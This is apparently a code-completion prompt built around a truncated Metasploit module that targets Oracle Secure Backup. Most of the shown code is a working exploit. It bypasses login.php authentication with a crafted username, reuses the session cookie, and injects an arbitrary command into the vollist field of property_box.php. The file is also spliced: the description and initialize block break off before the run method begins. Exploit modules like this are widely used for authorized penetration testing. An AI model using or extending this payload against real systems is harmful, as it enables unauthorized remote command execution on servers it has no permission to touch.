You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: osb_execqr2.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/admin/oracle
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',
      'Description'    => %q{
          This module exploits an authentication bypass vulnerability
          in login.php in order to execute arbitrary code via a command injection
        
    
  def run
    cmd = datastore['CMD']

    res = send_request_cgi(
      {
        'uri'	=>  '/login.php',
        'data'	=>  'button=Login&attempt=1&mode=&tab=75&uname=-msf&passwd=msf',
        'method' => 'POST',
      }, 5)

      if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)

          print_status("Sending command: #{datastore['CMD']}...")

          send_request_cgi(
            {
              'uri'	=> '/property_box.php',
              'data'  => 'type=Sections&vollist=75' + Rex::Text.uri_encode("&" + cmd),
              'cookie' => res.get_cookies,
              'method' => 'POST',
            }, 5)

          print_status("Done.")
      else
        print_error("Invalid PHPSESSION token..")
        return
      end